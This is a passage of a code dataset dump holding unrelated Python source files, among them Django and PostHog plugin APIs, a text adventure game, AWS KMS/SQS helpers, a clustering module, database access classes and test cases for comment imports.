models.IntegerField('销售记录ID')\n","sub_path":"manager/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"591748425","text":"# Copyright (c) Microsoft. All rights reserved.\n# Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\nfrom HelperClass.NeuralNet_1_0 import *\n\nfile_name = \"../../data/ch04.npz\"\n\nif __name__ == '__main__':\n sdr = DataReader_1_0(file_name)\n sdr.ReadData()\n hp = HyperParameters_1_0(1, 1, eta=0.1, max_epoch=100, batch_size=1, eps = 0.02)\n net = NeuralNet_1_0(hp)\n net.train(sdr)\n","sub_path":"2020SpringClass/学习笔记/201702064-zhousijia/3zhousijia201702064/code/Level5_SingleGradientDescent.py","file_name":"Level5_SingleGradientDescent.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"611365846","text":"import mysql.connector\nfrom mysql.connector import errorcode\nfrom sqlalchemy import create_engine\n\nimport csv\nimport pandas as pd\nimport re\n\ndef ExcludedWords():\n\tconjunctions = []\n\twith open('words/conjunctions.csv') as conjunctions_file:\n\t\tfor row in conjunctions_file:\n\t\t\tconjunctions.append(row.strip() )\n\n\tprepositions = []\n\twith open('words/prepositions.csv') as prepositions_file:\n\t\tprepositions_reader = csv.reader(prepositions_file)\n\t\tfor row in prepositions_file:\n\t\t\tprepositions.append(row.strip() )\n\n\tarticles = []\n\twith open('words/articles.csv') as articles_file:\n\t\tfor row in articles_file:\n\t\t\tarticles.append(row.strip() )\n\n\tadjectives = []\n\twith open('words/adjectives.csv') as adjectives_file:\n\t\tfor row in adjectives_file:\n\t\t\tadjectives.append(row.strip() )\n\n\tverbs = []\n\twith open('words/verbs.csv') as verbs_file:\n\t\tfor row in verbs_file:\n\t\t\tverbs.append(row.strip() )\n\n\texcluded_words = conjunctions + prepositions + articles + adjectives + verbs\n\n\treturn excluded_words\n\n\nuser = raw_input(\"Username: \")\npwd = raw_input(\"Password: \")\ndatabase = raw_input(\"Database: \")\ncnx = mysql.connector.connect(user=user, password=pwd,\n\t\t\t\t\t\t\t\thost='localhost',\n\t\t\t\t\t\t\t\tdatabase=database)\n\ntable = raw_input(\"Table: \")\nselect_query = 'SELECT * FROM ' + table\ndf = pd.read_sql(select_query, con=cnx)\n\nsort_by_frequency = df.sort_values('Frequency', ascending=False)\n\nexcluded_words = ExcludedWords()\n\n\nnames = sort_by_frequency['Word'].values.tolist()\n\nnouns = [x for x in names if x not in excluded_words]\n\ntop200 = nouns[:200]\n\nwith open('out.csv', 'wb') as outfile:\n\twr = csv.writer(outfile)\n\twr.writerow(top200)\n\n\n#print names\n#print sort_by_frequency.head(n=50)","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"592783691","text":"import json\nimport os\nfrom typing import Any, Dict, Optional\n\nimport requests\nfrom dateutil import parser\nfrom dateutil.relativedelta import relativedelta\nfrom django.contrib.postgres.fields import JSONField\nfrom django.utils.timezone import now\nfrom rest_framework import request, serializers, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.response import Response\n\nfrom posthog.models.plugin import Plugin, PluginConfig\nfrom posthog.plugins import (\n can_configure_plugins_via_api,\n can_install_plugins_via_api,\n download_plugin_archive,\n get_json_from_archive,\n parse_url,\n reload_plugins_on_workers,\n)\nfrom posthog.plugins.utils import load_json_file\nfrom posthog.redis import get_client\n\n\nclass PluginSerializer(serializers.ModelSerializer):\n class Meta:\n model = Plugin\n fields = [\"id\", \"name\", \"description\", \"url\", \"config_schema\", \"tag\", \"error\", \"from_json\"]\n read_only_fields = [\"id\", \"error\", \"from_json\"]\n\n def get_error(self, plugin: Plugin) -> Optional[JSONField]:\n if plugin.error and can_install_plugins_via_api():\n return plugin.error\n return None\n\n def create(self, validated_data: Dict, *args: Any, **kwargs: Any) -> Plugin:\n if not can_install_plugins_via_api():\n raise ValidationError(\"Plugin installation via the web is disabled!\")\n\n local_plugin = validated_data.get(\"url\", \"\").startswith(\"file:\")\n\n if local_plugin:\n plugin_path = validated_data[\"url\"][5:]\n json_path = os.path.join(plugin_path, \"plugin.json\")\n json = load_json_file(json_path)\n if not json:\n raise ValidationError(\"Could not load plugin.json from: {}\".format(json_path))\n validated_data[\"name\"] = json.get(\"name\", json_path.split(\"/\")[-2])\n validated_data[\"description\"] = json.get(\"description\", \"\")\n validated_data[\"config_schema\"] = json.get(\"config\", {})\n else:\n parsed_url = parse_url(validated_data[\"url\"], get_latest_if_none=True)\n if parsed_url:\n validated_data[\"url\"] = parsed_url[\"root_url\"]\n validated_data[\"tag\"] = parsed_url.get(\"version\", parsed_url.get(\"tag\", None))\n validated_data[\"archive\"] = download_plugin_archive(validated_data[\"url\"], validated_data[\"tag\"])\n plugin_json = get_json_from_archive(validated_data[\"archive\"], \"plugin.json\")\n if not plugin_json:\n raise ValidationError(\"Could not find plugin.json in the plugin\")\n validated_data[\"name\"] = plugin_json[\"name\"]\n validated_data[\"description\"] = plugin_json.get(\"description\", \"\")\n validated_data[\"config_schema\"] = plugin_json.get(\"config\", {})\n else:\n raise ValidationError(\"Must be a GitHub repository or a NPM package URL!\")\n\n if len(Plugin.objects.filter(name=validated_data[\"name\"])) > 0:\n raise ValidationError('Plugin with name \"{}\" already installed!'.format(validated_data[\"name\"]))\n\n validated_data[\"from_web\"] = True\n plugin = super().create(validated_data)\n reload_plugins_on_workers()\n return plugin\n\n def update(self, plugin: Plugin, validated_data: Dict, *args: Any, **kwargs: Any) -> Plugin: # type: ignore\n validated_data[\"archive\"] = download_plugin_archive(plugin.url, plugin.tag)\n response = super().update(plugin, validated_data)\n reload_plugins_on_workers()\n return response\n\n\nclass PluginViewSet(viewsets.ModelViewSet):\n queryset = Plugin.objects.all()\n serializer_class = PluginSerializer\n\n def get_queryset(self):\n queryset = super().get_queryset()\n if self.action == \"get\" or self.action == \"list\": # type: ignore\n if can_install_plugins_via_api() or can_configure_plugins_via_api():\n return queryset\n else:\n if can_install_plugins_via_api():\n # block update/delete for plugins that come from posthog.json\n return queryset.filter(from_json=False)\n return queryset.none()\n\n @action(methods=[\"GET\"], detail=False)\n def repository(self, request: request.Request):\n if not can_install_plugins_via_api():\n raise ValidationError(\"Plugin installation via the web is disabled!\")\n url = \"https://raw.githubusercontent.com/PostHog/plugins/main/repository.json\"\n plugins = requests.get(url)\n return Response(json.loads(plugins.text))\n\n @action(methods=[\"GET\"], detail=False)\n def status(self, request: request.Request):\n if not can_install_plugins_via_api():\n raise ValidationError(\"Plugin installation via the web is disabled!\")\n\n ping = get_client().get(\"@posthog-plugin-server/ping\")\n if ping:\n ping_datetime = parser.isoparse(ping)\n if ping_datetime > now() - relativedelta(seconds=30):\n return Response({\"status\": \"online\"})\n\n return Response({\"status\": \"offline\"})\n\n def destroy(self, request: request.Request, *args, **kwargs) -> Response:\n response = super().destroy(request, *args, **kwargs)\n reload_plugins_on_workers()\n return response\n\n\nclass PluginConfigSerializer(serializers.ModelSerializer):\n class Meta:\n model = PluginConfig\n fields = [\"id\", \"plugin\", \"enabled\", \"order\", \"config\", \"error\"]\n read_only_fields = [\"id\"]\n\n def create(self, validated_data: Dict, *args: Any, **kwargs: Any) -> PluginConfig:\n if not can_configure_plugins_via_api():\n raise ValidationError(\"Plugin configuration via the web is disabled!\")\n request = self.context[\"request\"]\n validated_data[\"team\"] = request.user.team\n plugin_config = super().create(validated_data)\n reload_plugins_on_workers()\n return plugin_config\n\n def update(self, plugin_config: PluginConfig, validated_data: Dict, *args: Any, **kwargs: Any) -> PluginConfig: # type: ignore\n validated_data.pop(\"plugin\", None)\n response = super().update(plugin_config, validated_data)\n reload_plugins_on_workers()\n return response\n\n\nclass PluginConfigViewSet(viewsets.ModelViewSet):\n queryset = PluginConfig.objects.all()\n serializer_class = PluginConfigSerializer\n\n def get_queryset(self):\n queryset = super().get_queryset()\n if can_configure_plugins_via_api():\n return queryset.filter(team_id=self.request.user.team.pk)\n return queryset.none()\n\n # we don't use this endpoint, but have something anyway to prevent team leakage\n def destroy(self, request: request.Request, pk=None) -> Response: # type: ignore\n plugin_config = PluginConfig.objects.get(team=request.user.team, pk=pk)\n plugin_config.enabled = False\n plugin_config.save()\n return Response(status=204)\n\n @action(methods=[\"GET\"], detail=False)\n def global_plugins(self, request: request.Request):\n if not can_configure_plugins_via_api():\n return Response([])\n\n response = []\n plugin_configs = PluginConfig.objects.filter(team_id=None, enabled=True) # type: ignore\n for plugin_config in plugin_configs:\n plugin = PluginConfigSerializer(plugin_config).data\n plugin[\"config\"] = None\n plugin[\"error\"] = None\n response.append(plugin)\n\n return Response(response)\n","sub_path":"posthog/api/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":7551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"62364092","text":"from datetime import datetime\r\nfrom zombie import Zombie\r\nfrom player import Player\r\nfrom humanBandit import HumanBandit\r\nfrom mutant import Mutant\r\nfrom character import Character\r\nimport time\r\nimport sys\r\n\r\n\r\n\r\n# Object for the game\r\ntoday = datetime.now().strftime(\"%H.%M\")\r\nhero = Player(\"Survivor\", 400, 100, 50)\r\n\r\n# Zombie Enemies\r\neasyzombie = Zombie(\"easy-Zombie\", 200, 20, 10)\r\nmediumzombie = Zombie(\"medium-Zombie\", 300, 40, 20)\r\nhardzombie = Zombie(\"hard-Zombie\", 300, 80, 30)\r\n\r\n# Human Enemies\r\neasyhuman = HumanBandit(\"Bob\", 100, 20)\r\nmediumhuman = HumanBandit(\"Clay\", 200, 40)\r\nhardhuman = HumanBandit(\"Jason\", 500, 100)\r\n\r\n# Mutant Enemies\r\nmutantDog = Mutant(\"MutantDog\", 400, 60, 50)\r\n\r\n\r\n\r\n\r\n\r\n# Function for shutting down the game.\r\ndef exitGame():\r\n time.sleep(1)\r\n print(\"Shutting down...\")\r\n time.sleep(2)\r\n sys.exit()\r\n\r\n\r\n# Function for the whole Game Program\r\ndef game():\r\n\r\n\r\n intro = input(\"Hi and Welcome to Zombie Game would you like to start ? ( ͡° ͜ʖ ͡°) (y/n): \")\r\n\r\n\r\n while intro != \"y\" and intro != \"n\":\r\n intro = input(\"Invalid choice, please type y or n: \")\r\n\r\n if intro == \"y\":\r\n # GAME START\r\n print(\"you are the last \" + hero.name + \" and time is \" + today + \" you just woke up in a apartment.\")\r\n time.sleep(2)\r\n hero.changeName()\r\n time.sleep(2)\r\n print(\"You grab your backpack and Pistol then continue down the stairs..\")\r\n time.sleep(2)\r\n print(\"walking down.. \")\r\n time.sleep(2)\r\n\r\n print(\"You go out on the street. You can go Right or Left, which way do you go? \\nRight or Left ?: \")\r\n firstChoice = input(\"\")\r\n time.sleep(1)\r\n\r\n while firstChoice != \"Right\" and firstChoice != \"Left\": # Input validation.\r\n firstChoice = input(\"Invalid choice, please type Left or Right: \")\r\n\r\n if firstChoice == \"Right\":\r\n print(\"you started to walk right, and you found a supermarket.\\n\")\r\n time.sleep(2)\r\n print(\"You open the door and yeah hear a zombie approaching\")\r\n print(\"its attacking you!\")\r\n\r\n\r\n\r\n\r\n # first Fight här kan man sätta in vilka objekt som ska slåss mot varandra.\r\n while easyzombie.hp > 0:\r\n time.sleep(1)\r\n hero.underAttack(easyzombie)\r\n time.sleep(1)\r\n easyzombie.underAttack(hero)\r\n easyzombie.crawl()\r\n easyzombie.bonusAttackPoint()\r\n time.sleep(1)\r\n # denna print är bara till för göra ett Whitespace i terminalen för det ska se bättre ut.\r\n print(\"\")\r\n\r\n # Kollar livet på både hero och easyzombie objektet.\r\n hero.checkLife()\r\n time.sleep(2)\r\n easyzombie.checkLife()\r\n time.sleep(2)\r\n print(\"\")\r\n\r\n # Om easyzombie objektets hp är 0 så kallas killed functionen (se Character klassen)\r\n if easyzombie.hp < 1:\r\n easyzombie.killed()\r\n time.sleep(2)\r\n\r\n # Survivor objektet får heal, genom att kalla på heal metoden i player klassen.\r\n hero.heallife()\r\n time.sleep(1)\r\n print(\"------------------------------------------------------------------------------\")\r\n\r\n\r\n\r\n\r\n # Second Fight\r\n print(\"a \" + mutantDog.name + \" heard you loud fight and started to run against you!!\")\r\n print(\"------------------------------------------------------------------------------\")\r\n\r\n while mutantDog.hp > 100:\r\n time.sleep(1)\r\n hero.underAttack(mutantDog)\r\n time.sleep(1)\r\n mutantDog.underAttack(hero)\r\n mutantDog.growl()\r\n if mutantDog.hp < 200:\r\n mutantDog.getMutantPoint()\r\n time.sleep(1)\r\n print(\"--------------------------------------------------------------------------\")\r\n\r\n hero.heallife()\r\n time.sleep(2)\r\n hero.checkLife()\r\n time.sleep(1)\r\n mutantDog.checkLife()\r\n time.sleep(1)\r\n if mutantDog.hp == 100:\r\n mutantDog.runAway()\r\n\r\n hero.heallife()\r\n time.sleep(1)\r\n print(\"\")\r\n\r\n\r\n #Last Fight\r\n print(hardhuman.name + \" The Bandit Leader saw your fight and started to attack you.\")\r\n print(\"------------------------------------------------------------------------------\")\r\n\r\n while hardhuman.hp > 0:\r\n time.sleep(1)\r\n hero.underAttack(hardhuman)\r\n time.sleep(1)\r\n hardhuman.underAttack(hero)\r\n time.sleep(1)\r\n hardhuman.threwGrenade()\r\n time.sleep(1)\r\n hardhuman.loadingWeapon()\r\n time.sleep(1)\r\n print(\"--------------------------------------------------------------------------\")\r\n\r\n hero.heallife()\r\n time.sleep(2)\r\n hero.checkLife()\r\n time.sleep(1)\r\n hardhuman.checkLife()\r\n time.sleep(1)\r\n if hardhuman.hp == 0:\r\n hardhuman.killed()\r\n print(\"--- You Won the Game! ༼ つ ◕_◕ ༽つ ---\")\r\n exitGame()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n elif firstChoice == \"Left\":\r\n print(\" you started to walk left, and after a while you found a police van.\\n\")\r\n time.sleep(3)\r\n print(\" You opened the backdoor on the van, and two Zombies! got hold of you.\\n\")\r\n time.sleep(3)\r\n print(\" You where eaten alive...\")\r\n time.sleep(2)\r\n print(\"Game Over ಠ╭╮ಠ \")\r\n\r\n\r\n elif intro == \"n\":\r\n exitGame()\r\n\r\ngame()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"295731714","text":"import networkx as nx\n\nfrom ctarn.cluster.dendrogram import Leaf, Dendrogram as Dend\n\n\nclass ReductiveClustering:\n graph = None\n links = None\n dend = None\n\n def __init__(self, selector, connector, pre_connector=None):\n self.select = selector\n self.connect = connector\n self.pre_connect = pre_connector\n\n def fit(self, graph):\n if type(graph) is nx.DiGraph:\n self.graph = graph\n else:\n self.graph = nx.empty_graph(len(graph), create_using=nx.DiGraph)\n for node, nbrs in enumerate(graph):\n self.graph.add_weighted_edges_from([(node, nbr, idx) for idx, nbr in enumerate(nbrs)])\n\n self.links = nx.empty_graph(self.graph.nodes, create_using=nx.DiGraph)\n\n if self.pre_connect is not None:\n self.graph = self.pre_connect(set(self.graph.nodes), graph=self.graph)\n self.dend = Dend([self._cluster(self.graph.subgraph(s)) for s in nx.strongly_connected_components(self.graph)])\n self.dend.clean()\n return self\n\n def _cluster(self, graph):\n rep = self.select(graph=graph) # representatives\n if len(rep) == 0 or len(rep) == len(graph.nodes):\n root = self._link(list(graph.nodes))\n return Leaf(map(lambda node: int(node), [root] + list(nx.descendants(self.links, root))))\n else:\n self._link(rep, graph)\n graph = self.connect(nodes=rep, graph=graph.subgraph(rep))\n return Dend([self._cluster(graph.subgraph(s)) for s in nx.strongly_connected_components(graph)])\n\n def _link(self, nodes, graph=None):\n if graph is None:\n root = nodes.pop()\n self.links.add_edges_from([(root, node) for node in nodes])\n return root\n else:\n for node in set(graph.nodes) - nodes:\n for u, v in nx.bfs_edges(graph, node):\n if v in nodes:\n self.links.add_edge(v, node)\n break\n else:\n raise RuntimeError(f'failed to link {node} to another node: not found; it should not happen.')\n","sub_path":"ctarn/cluster/reductive.py","file_name":"reductive.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"319429624","text":"# Exercise 5.11 Ordinal Numbers: Ordinal numbers indicate their position in a list, such as 1st or 2nd. Most ordinal numbers end in \"th\" except 1, 2, and 3. Store \r\n# the numbers 1 to 9 in a list, then loop through the list. Use an \"if-elif-else\" chain inside the loop to print the proper ordinal ending for each number. Your output \r\n# should read \"1st 2nd 3rd 4th 5th 6th 7th 8th 9th\", with each result on a separate line.\r\n\r\nnumbers = list(range(1,10))\r\n\r\nfor number in numbers:\r\n if number == 1:\r\n print(\"1st\")\r\n elif number == 2:\r\n print(\"2nd\")\r\n elif number == 3:\r\n print(\"3rd\")\r\n else:\r\n print(str(number) + \"th\")","sub_path":"chapterAssignments/chapter5_11.py","file_name":"chapter5_11.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"298498026","text":"import boto3\r\nimport botocore\r\nimport json\r\nimport base64\r\nimport os\r\nfrom boto3.dynamodb.conditions import Key, Attr\r\nimport urllib2\r\n\r\n# Contains utility functions that help with AWS-related things\r\nclass AwsEnvironmentVars:\r\n ALEXA_DB_TABLE = 'AlexaDbTable'\r\n BOI_RESPONSE_TABLE = 'BoiResponseTable'\r\n ALEXA_KMS_KEY_ID = 'KmsKeyId'\r\n\r\ndef getS3FileInfo (bucketName, objectKey):\r\n client = boto3.client('s3', region_name='us-east-1')\r\n bucketObj = client.get_object(Bucket=bucketName, Key=objectKey)\r\n return bucketObj\r\n\r\ndef getS3FileStream (bucketName, objectKey):\r\n # stream the file into a byte array object\r\n return getS3FileInfo(bucketName, objectKey)['Body']\r\n \r\ndef getKmsClient ():\r\n client = boto3.client('kms', region_name='us-east-1')\r\n return client\r\n\r\ndef getSqsClient ():\r\n sqs = boto3.resource('sqs', region_name='us-east-1')\r\n return sqs\r\n\r\ndef getKinesisClient ():\r\n client = boto3.client('kinesis', region_name='us-east-1')\r\n return client\r\n\r\ndef getKmsKeyId (keyId=AwsEnvironmentVars.ALEXA_KMS_KEY_ID): \r\n #keyId = '29bfb18d-8fe3-473a-affd-3e95d935e1fb'\r\n #return keyId\r\n return getEnvVar(keyId)\r\n\r\ndef encryptUsingKms (clearText):\r\n client = getKmsClient()\r\n keyId = getKmsKeyId()\r\n response = client.encrypt(KeyId=keyId,Plaintext=clearText)\r\n encryptedData = response['CiphertextBlob']\r\n encodedData = base64.b64encode(encryptedData)\r\n return encodedData\r\n\r\ndef decryptUsingKms (encryptedAndEncoded):\r\n client = getKmsClient()\r\n decodedData = base64.b64decode(encryptedAndEncoded)\r\n return client.decrypt(CiphertextBlob=str(decodedData))['Plaintext']\r\n\r\ndef putEncryptedOnSqsQueue (queueName, message):\r\n encrypted = encryptUsingKms(message)\r\n return putOnSqsQueue (queueName, encrypted)\r\n\r\ndef putOnSqsQueue (queueName, message):\r\n sqs = getSqsClient()\r\n queue = sqs.get_queue_by_name(QueueName=queueName)\r\n return queue.send_message(MessageBody=message)\r\n\r\ndef putInKinesis (streamName, message, partitionKey):\r\n client = getKinesisClient()\r\n return client.put_record(\r\n StreamName=streamName,\r\n Data=message,\r\n PartitionKey=partitionKey)\r\n\r\ndef getEnvVar (varName):\r\n return os.environ[varName]\r\n\r\ndef findItemsByKey (itemId, keyName, tableName, sortKey = None): \r\n dynamodb = boto3.resource('dynamodb', region_name='us-east-1')\r\n table = dynamodb.Table(tableName)\r\n \r\n cleanItemId = urllib2.unquote(itemId)\r\n\r\n print ('querying ' + tableName + ' for : ' + cleanItemId)\r\n response = table.query(KeyConditionExpression=Key(keyName).eq(cleanItemId))\r\n foundItems = response['Items']\r\n \r\n if sortKey != None:\r\n print ('sorting...')\r\n foundItems = sorted(foundItems, key=lambda k: k.get(sortKey,0))\r\n\r\n return foundItems\r\n","sub_path":"lib/aws_helper.py","file_name":"aws_helper.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"424274874","text":"import math\nfrom db.dbtemplate import DbTemplate\n\n\nclass Admin(DbTemplate):\n def __init__(self):\n super(Admin, self).__init__()\n\n def add_addmin(self, name, pwd):\n sql = \"insert into admin values(seq_admin.nextval, :name,:pwd,:status)\"\n return self.save_update(sql, name=name, pwd=pwd, stauts=1)\n\n def login(self, name, pwd):\n sql = \"select * from admin where admin_name=:name and pwd=:pwd and status=1\"\n data = self.find(sql, name=name, pwd=pwd)\n if data:\n return data[0]\n else:\n return None\n\n\nclass Types(DbTemplate):\n def __init__(self):\n super(Types, self).__init__()\n\n def add_type(self, type):\n sql = \"insert into types values(seq_types.nextval, :type)\"\n return self.save_update(sql, type=type)\n\n def list(self, page, size):\n sql = \"\"\"select * from (select t.*, rownum ro from types t order by id desc) where ro>:s and ro<=:e\"\"\"\n start = (page-1)*size\n end = page * size\n return self.find(sql, s=start, e=end)\n\n def have_type(self, type):\n sql = \"\"\"select * from types where type=:type\"\"\"\n data = self.find(sql, type=type)\n return True if data else False\n\n def total_count(self):\n sql = \"select count(*) count from types\"\n data = self.find(sql)\n return data[0].get(\"COUNT\")\n\n def total_page(self, total_count, size):\n return math.ceil(total_count/size)\n\n def modify_type(self, type, id):\n sql = \"update types set type=:type where id=:id\"\n return self.save_update(sql, type=type, id=id)\n\n def del_type(self, id):\n sql = \"delete from types where id=:id\"\n return self.save_update(sql, id=id)\n\n def list_all(self):\n sql = \"select * from types\"\n return self.find(sql)\n\n\nclass Fruits(DbTemplate):\n def __init__(self):\n super(Fruits, self).__init__()\n\n def type_count(self, typeid):\n sql = \"\"\"select count(*) count from fruits where type_id=:id\"\"\"\n data = self.find(sql, id=typeid)\n return data[0].get(\"COUNT\")\n\n def add(self, name, type_id, price, origion, unit, photo):\n sql = \"\"\"insert into fruits(id, name, type_id, price, origion, unit, photo)\n values (seq_fruits.nextval, :name, :type_id, :price, :origion, :unit, :photo)\"\"\"\n return self.save_update(sql, name=name, type_id=type_id, price=price, unit=unit, photo=photo, origion=origion)\n\n def search_fruit(self, page, size, search_type, search_key):\n if search_key:\n if search_type == 'byName':\n sql = \"select * from (\"\\\n \"select a.*, rownum ro from\"\\\n \"(select * from fruits where name=:key order by id) a where rownum <=:mx) where ro >:mi\"\n\n elif search_type == 'byType':\n sql = \"select * from(\"\\\n \"select a.* , rownum ro from\"\\\n \"(select * from fruits where type_id=(select id from types where type=:key) order by id) a \"\\\n \"where rownum <=:mx) where ro>:mi\"\n else:\n sql = \"select * from (\"\\\n \"select a.*, rownum ro from\"\\\n \"(select * from fruits where origion=:key order by id) a where rownum <=:mx) where ro >:mi\"\n\n data = self.find(sql, key=search_key, mx=(page*size), mi=(page-1)*size)\n else:\n sql = \"select * from (\"\\\n \"select a.*, rownum ro from\"\\\n \"(select * from fruits order by id) a where rownum <=:mx) where ro >:mi\"\n data = self.find(sql, mx=(page*size), mi=(page-1)*size)\n return data\n\n def search_fruit_count(self, search_type, search_key):\n if search_key:\n if search_type == 'byName':\n sql = \"select count(*) count from fruits where name=:key\"\n elif search_type == 'byType':\n sql = \"select count(*) count from fruits where type_id=(select id from types where type=:key)\"\n else:\n sql = \"select count(*) count from fruits where origion=:key\"\n\n data = self.find(sql, key=search_key)\n else:\n sql = \"select count(*) count from fruits\"\n data = self.find(sql)\n\n return data[0].get(\"COUNT\")\n\n def total_page(self, total_count, size):\n return math.ceil(total_count/size)\n\n def list_by_type_id(self,type_id, page, size=10):\n sql = \"select * from(\"\\\n \"select a.* , rownum ro from(select * from fruits where type_id=:id order by id desc)a \"\\\n \"where rownum <=:mx)where ro >:mi\"\n return self.find(sql, mx=page*size, mi=(page-1)*size, id=type_id)\n\n def count_by_type_id(self, type_id):\n sql = 'select count(*) count from fruits where type_id=:id'\n return self.find(sql, id=type_id)[0].get(\"COUNT\")\n","sub_path":"fruitserver/db/dbaccess.py","file_name":"dbaccess.py","file_ext":"py","file_size_in_byte":4907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"275119194","text":"\"\"\"Script for reporting procrustes errors for h3m datasets.\"\"\"\nimport h5py\nfrom human_pose_util.dataset.h3m.report import proc_manager, \\\n sequence_proc_manager\nfrom serialization import results_path\n\n\ndef inference_report(\n inference_id, overwrite=False, use_s14=False):\n \"\"\"\n Print procruste errors for previously inferred sequences.\n\n If use_s14, only the 14 joints in s14 are considered in the averages\n (procruste alignment is still done on the entire skeleton).\n \"\"\"\n with h5py.File(results_path, 'a') as results:\n results = results[inference_id]\n print('Individual proc_err')\n proc_manager().report(results, overwrite=overwrite)\n print('----------------')\n print('Sequence proc_err')\n sequence_proc_manager().report(\n results, overwrite=overwrite)\n\n\nif __name__ == '__main__':\n import argparse\n from serialization import register_defaults\n parser = argparse.ArgumentParser()\n parser.add_argument(\n 'inference_id',\n help='id of inference spec defined in inference_params')\n parser.add_argument(\n '-o', '--overwrite', action='store_true',\n help='overwrite existing data if present')\n args = parser.parse_args()\n register_defaults()\n inference_report(\n args.inference_id, overwrite=args.overwrite)\n","sub_path":"h3m_report.py","file_name":"h3m_report.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"268782309","text":"# Copyright (C) 2019 Google Inc.\n# Licensed under http://www.apache.org/licenses/LICENSE-2.0 \n\n\"\"\"Tests import of comments.\"\"\"\n\nfrom collections import OrderedDict\n\nimport ddt\n\nfrom integration.ggrc import TestCase\nfrom integration.ggrc import api_helper\nfrom integration.ggrc.models import factories\nfrom ggrc.models import Assessment, Comment\n\n\n@ddt.ddt\nclass TestCommentsImport(TestCase):\n \"\"\"Test comments import\"\"\"\n\n @classmethod\n def setUpClass(cls):\n TestCase.clear_data()\n cls.response1 = TestCase._import_file(\"import_comments.csv\")\n cls.response2 = TestCase._import_file(\n \"import_comments_without_assignee_roles.csv\")\n\n def setUp(self):\n \"\"\"Log in before performing queries.\"\"\"\n self._check_csv_response(self.response1, {})\n self._check_csv_response(self.response2, {})\n self.client.get(\"/login\")\n\n @ddt.data((\"Assessment 1\", [\"comment\", \"new_comment1\", \"new_comment2\"]),\n (\"Assessment 2\", [\"some comment\"]),\n (\"Assessment 3\", [\"link\"]),\n (\"Assessment 4\", [\"comment1\", \"comment2\", \"comment3\"]),\n (\"Assessment 5\", [\"one;two\", \"three;\", \"four\", \"hello\"]),\n (\"Assessment 6\", [\"a normal comment with {} characters\"]))\n @ddt.unpack\n def test_assessment_comments(self, slug, expected_comments):\n \"\"\"Test assessment comments import\"\"\"\n asst = Assessment.query.filter_by(slug=slug).first()\n comments = [comment.description for comment in asst.comments]\n self.assertEqual(comments, expected_comments)\n for comment in asst.comments:\n assignee_roles = comment.assignee_type\n self.assertIn(\"Assignees\", assignee_roles)\n self.assertIn(\"Creators\", assignee_roles)\n\n\nclass TestLCACommentsImport(TestCase):\n \"\"\"Test import LCA comments\"\"\"\n\n def setUp(self):\n \"\"\"Set up audit and cad for test cases.\"\"\"\n super(TestLCACommentsImport, self).setUp()\n self.api = api_helper.Api()\n with factories.single_commit():\n self.audit = factories.AuditFactory()\n self.asmt = factories.AssessmentFactory(\n audit=self.audit,\n context=self.audit.context,\n status=\"In Progress\",\n )\n factories.RelationshipFactory(\n source=self.audit,\n destination=self.asmt,\n )\n\n def test_custom_comment_import(self):\n \"\"\"Test success import LCA comment for Dropdown CAD\"\"\"\n with factories.single_commit():\n cad = factories.CustomAttributeDefinitionFactory(\n attribute_type=\"Dropdown\",\n definition_type=\"assessment\",\n definition_id=self.asmt.id,\n multi_choice_options=\"comment_required\",\n multi_choice_mandatory=\"1,2,3\",\n mandatory=True,\n )\n factories.CustomAttributeValueFactory(\n custom_attribute=cad,\n attributable=self.asmt,\n attribute_value=\"comment_required\",\n )\n self.assertEqual(self.asmt.status, \"In Progress\")\n response = self.import_data(OrderedDict([\n (\"object_type\", \"LCA Comment\"),\n (\"description\", \"test description\"),\n (\"custom_attribute_definition\", cad.id),\n ]))\n self._check_csv_response(response, {})\n response = self.api.put(self.asmt, {\n \"status\": \"Completed\",\n })\n self.assertEqual(response.status_code, 200)\n new_comment = Comment.query.first()\n self.assertEqual(new_comment.description, \"test description\")\n self.assertEqual(new_comment.custom_attribute_definition_id, cad.id)\n","sub_path":"test/integration/ggrc/converters/test_import_comments.py","file_name":"test_import_comments.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"453669853","text":"from django.shortcuts import render,redirect\nfrom .models import Post,Contact\n\n# Create your views here.\ndef index(request):\n posts = Post.objects.all()\n\n if request.method == 'POST':\n name = request.POST['name']\n email = request.POST['email']\n msg = request.POST['msg']\n\n contact = Contact()\n contact.name = name\n contact.email = email\n contact.message = msg\n contact.save()\n \n return redirect('/')\n\n return render(request,'main/index.html',{'posts':posts})\n\n\n \n\n \n\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"357949816","text":"#!/usr/bin/env python\nfrom pythonosc.udp_client import SimpleUDPClient\nimport time\nfrom modules.user_input_config_functions import UserInputConfigFunctions as UserInput\nfrom modules.file_reading import FileReading\nfrom modules.data_parsing import DataParsing\nfrom 